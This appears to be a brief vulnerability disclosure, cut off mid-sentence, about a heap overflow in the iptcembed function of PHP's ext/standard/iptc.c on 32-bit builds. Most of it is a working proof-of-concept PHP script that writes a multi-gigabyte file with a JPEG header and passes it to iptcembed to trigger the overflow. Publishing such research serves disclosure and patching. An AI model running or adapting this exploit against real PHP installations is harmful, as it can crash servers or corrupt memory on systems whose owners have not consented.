Trivial age-old heap overflow in 32-bit PHP

Given one is able to execute a PHP file there exists a trivial heap overflow in the `ext/standard/iptc.c` module, a module which exports the `iptcembed` and `iptcparse` functions. It should be noted that the implementation of these functions is - in some countries - allowed to drink beer and get …

<?php

if(file_exists("heapyolo") == 0) {
    $fp = fopen("heapyolo", "wb");

    fwrite($fp, "\xff\xd8\xff\xe0\x00\x02\x00\xd9");
    for ($i = 0; $i < 4096; $i++) {
        fwrite($fp, str_repeat("A", 1024*1024));
    }

    fclose($fp);
}

iptcembed(str_repeat("A", 1024*1024), "heapyolo");
?>